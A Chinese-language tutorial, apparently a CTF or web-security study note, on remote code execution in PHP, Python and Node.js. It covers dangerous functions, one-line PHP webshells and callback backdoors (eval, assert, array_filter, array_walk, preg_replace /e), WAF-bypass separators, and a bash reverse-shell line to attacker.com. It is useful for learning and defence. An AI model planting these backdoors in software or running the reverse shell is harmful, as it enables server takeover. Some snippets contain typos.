RCE 基础

​ **RCE(Remote Code Execution,远程代码执行)*是一种非常严重的安全漏洞,允许攻击者在目标服务器上*执行任意代码,从而获取系统控制权、窃取敏感信息、横向移动甚至完全接管服务器。

RCE 的本质

RCE 的本质是:攻击者通过构造恶意输入,使应用程序在服务器上执行了这段输入作为代码。

这通常意味着开发者把用户输入拼接进 eval、exec、system、popen、shell_exec 等危险函数中,或者调用命令行/解释器时未正确处理输入


RCE 常见触发点

PHP 中

  • eval($_GET['code'])
  • system(), exec(), passthru(), shell_exec()
  • preg_replace('/.*/e', $user_input, '')(已废弃的 /e 模式)
  • 反序列化漏洞:unserialize($_POST['data'])(配合魔术方法触发)
1
2
3
4
5
<?php
$cmd = $_GET['cmd'];
system($cmd);
?>
// 访问: http://example.com/vuln.php?cmd=ls

Python 中

  • eval(user_input)
  • exec(user_input)
  • os.system(user_input)
  • subprocess.Popen(user_input, shell=True)
1
2
3
import os
user_input = input("Enter command: ")
os.system(user_input) # 无任何过滤,直接 RCE

Node.js 中

  • eval(req.query.input)
  • child_process.exec(req.query.cmd)
  • 模板注入(e.g. EJS、Handlebars)

RCE 漏洞利用流程

  1. 信息收集
    找到可疑点,例如表单、参数、上传接口等。

  2. 注入测试
    输入特殊字符,如 ; ls&& whoami| id,看是否有执行效果。

  3. 绕过 WAF

    • 编码绕过(Base64、URL 编码)
    • 命令分隔符:&, ;, |, ||, &&
    • 变量替换:${IFS}, $(), ````
  4. 命令执行
    执行系统命令或反弹 shell:

    1
    bash -i >& /dev/tcp/attacker.com/1234 0>&1

代码执行

eval

1
<?php eval($_POST['1']);

eval — 把字符串作为PHP代码执行

代码不能包含打开/关闭 PHP tags

传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾

因为是语言构造器而不是函数,不能被 可变函数 或者 命名参数 调用。

assert

1
<?php assert($_GET['1'])

assert(mixed $assertion, Throwable|string|null $description = null): bool

在 PHP 8.0.0 之前,如果 assertionstring,将解释为 PHP 代码,并通过 eval() 执行。这个字符串将作为第三个参数传递给回调函数。这种行为在 PHP 7.2.0 中弃用,并在 PHP 8.0.0 中移除

回调后门

call_user_func

1
2
3
<?php call_user_func('assert',$_GET['0'])

# 0=eval($_POST['1'])

call_user_func — 把第一个参数作为回调函数调用

call_user_func(callable $callback, mixed ...$args): mixed

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

array_filter

array_filter — 使用回调函数过滤数组的元素

1
2
3
4
5
6
<?php
$call = $_REQUEST['call'];
$arr = array($_POST['arr']);
array_filter($arr, base64_decode($call));
# assert 不能作为动态参数传递
$GET['0']($_POST['1']);

array_filter(array $array, ?callable $callback = null, int $mode = 0): array

遍历 array 数组中的每个值,并将每个值传递给 callback 回调函数。 如果 callback 回调函数返回 true,则将 array 数组中的当前值返回到结果 array 数组中。

array_map

array_map — 为数组的每个元素应用回调函数

和array_filter同类型函数

array_map(?callable $callback, array $array, array ...$arrays): array

array_map() 返回一个 array,包含将 array 的相应值作为回调的参数顺序调用 callback 后的结果(如果提供了更多数组,还会利用 arrays 传入)。callback 函数形参的数量必须匹配 array_map() 实参中数组的数量。多余的实参数组将会被忽略。如果提供的实参数组的数量不足,将抛出 ArgumentCountError

uasort

uasort — 使用用户定义的比较函数对数组进行排序并保持索引关联

1
2
3
4
<?php
$call = $_REQUEST['call'];
$arr = array($_POST['arr']);
uasort($arr, base64_decode($call));

uasort(array &$array, callable $callback): true

本函数对 array 本身排序并保持索引和单元之间的关联。

主要用于对那些单元顺序很重要的结合数组进行排序。比较函数是用户自定义的。

  • array

    输入的数组。

  • callback

    在第一个参数小于,等于或大于第二个参数时,该比较函数必须相应地返回一个小于,等于或大于 0 的整数。

    callback(mixed $a, mixed $b): int

uksort

uksort — 使用用户自定义的比较函数对数组中的键名进行排序

1
2
3
4
<?php
$call = $_REQUEST['call'];
$arr = array($_POST['arr'] => 1);
uksort($arr, base64_decode($call));

uksort(array &$array, callable $callback): true

使用用户自定义的比较函数对 array 本身进行按键(key)排序以确定顺序。

usort

usort — 使用用户自定义的比较函数对数组中的值进行排序

usort(array &$array, callable $callback): true

根据用户提供的比较函数,对 array 原地排序。

此函数为 array 中的元素赋与新的键名。这将删除原有的键名,而不是仅仅将键名重新排序。

array_reduce

array_reduce — 用回调函数迭代地将数组简化为单一的值

1
2
3
4
<?php
$call = $REQUEST['call'];
$arr = array(1);
array_reduce($arr, $call, $_GET['payload'])

array_reduce(array $array, callable $callback, mixed $initial = null): mixed

array_reduce() 将回调函数 callback 迭代地作用到 array 数组中的每一个单元中,从而将数组简化为单一的值。

  • array

    输入的 array。

  • callback

    callback(mixed $carry, mixed $item): mixedcarry携带上次迭代的返回值; 如果本次迭代是第一次,那么这个值是 initialitem携带了本次迭代的值。

  • initial

    如果指定了可选参数 initial,该参数将用作处理开始时的初始值,如果数组为空,则会作为最终结果返回。

array_diff ...

preg_replace

preg_replace — 执行一个正则表达式的搜索和替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function conplex($re, $str){
return preg_replace(
'/('.$er.')/ei',
'strtolower("\\1")',
$str
);
}

foreach($_GET as $re => $str){
echo complex($re, $str)."/n";
}

function getFlag(){
@eval($_GET['cmd']);
}

# php中,'.' 会被替换为 '_';
# php中,'' 包裹的变量不会被解析,"" 包裹的变量会被解析
# 变量嵌套使用时,需使用 {} 才可以逐层解析
\S*=${phpinfo()}
\s*=${getflag()}&cmd=phpinfo()

preg_replace(
string|array $pattern,
string|array $replacement,
string|array $subject,
int $limit = -1,
int &$count = null
): string|array|null

搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。

replacement 中,当使用被弃用的 /e 修饰符时, 这个函数会转义一些字符 (即:'"\ 和 NULL) 然后进行后向引用替换。当这些完成后请确保后向引用解析完后没有单引号或双引号引起的语法错误 (比如: 'strlen(\'$1\')+strlen("$2")')。确保符合 PHP 的 字符串语法,并且符合 eval 语法。因为在完成替换后,引擎会将结果字符串作为 PHP 代码使用 eval 方式进行评估并将返回值作为最终参与替换的字符串

array_walk

array_walk — 使用用户自定义函数对数组中的每个元素做回调处理

1
2
3
4
5
6
7
<?php
$call = $_REQUEST['call'];
$key = $_POST['arr'];
$arr = array($key => '|.*|e');
array_walk($arr, $call, '');

arr=phpinfo()&call=preg_replace

array_walk(array|object &$array, callable $callback, mixed $arg = null): true

将用户自定义函数 callback 应用到 array 数组中的每个单元。

array_walk() 不会受到 array 内部数组指针的影响。array_walk() 会遍历整个数组而不管指针的位置。

  • array

    输入的数组。

  • callback

    典型情况下 callback 接受两个参数。array 参数的值作为第一个,键名作为第二个。

    注意:如果 callback 需要直接作用于数组中的值,则给 callback 的第一个参数指定为引用。这样任何对这些单元的改变也将会改变原始数组本身。

    注意:参数数量超过预期,传入内置函数 (例如 strtolower()), 将抛出警告,所以不适合当做 callback。只有 array 的值才可以被改变,用户不应在回调函数中改变该数组本身的结构。例如增加/删除单元,unset 单元等等。如果 array_walk() 作用的数组改变了,则此函数的的行为未经定义,且不可预期。

  • arg

    如果提供了可选参数 arg,将被作为第三个参数传递给 callback

命令执行

system

system — 执行外部程序,并且显示输出

system(string $command, int &$result_code = null): string|false

同 C 版本的 system() 函数一样,本函数执行 command 参数所指定的命令,并且输出执行结果。

如果 PHP 运行在服务器模块中,system() 函数还会尝试在每行输出完毕之后,自动刷新 web 服务器的输出缓存。

shell_exec

shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回

无回显

shell_exec(string $command): string|false|null

执行运算符

PHP 支持一个执行运算符:反引号(````)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“`”的效果与函数 shell_exec() 相同。

1
2
3
<?php$output = `ls -al`;
echo "<pre>$output</pre>";
?>

exec

exec — 执行一个外部程序

exec(string $command, array &$output = null, int &$result_code = null): string|false

exec() 执行 command 参数所指定的命令。

passthru

passthru — 执行外部程序并且显示原始输出

passthru(string $command, int &$result_code = null): ?false

exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec()system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

proc_open

proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。

proc_open(
array|string $command,
array $descriptor_spec,
array &$pipes,
?string $cwd = null,
?array $env_vars = null,
?array $options = null
): resource|false

类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力。

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据
1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据
2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);

$cwd = '/tmp';
$env = array('some_option' => 'aeiou');

$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
// $pipes 现在看起来是这样的:
// 0 => 可以向子进程标准输入写入的句柄
// 1 => 可以从子进程标准输出读取的句柄
// 错误输出将被追加到文件 /tmp/error-output.txt

fwrite($pipes[0], '<?php print_r($_ENV); ?>');
fclose($pipes[0]);

echo stream_get_contents($pipes[1]);
fclose($pipes[1]);


// 切记:在调用 proc_close 之前关闭所有的管道以避免死锁。
$return_value = proc_close($process);

echo "command returned $return_value\n";
}
?>

popen

popen — 打开进程文件指针

popen(string $command, string $mode): resource|false

打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(E_ALL);

/* 加入重定向以得到标准错误输出 stderr。 */
$handle = popen('/path/to/executable 2>&1', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>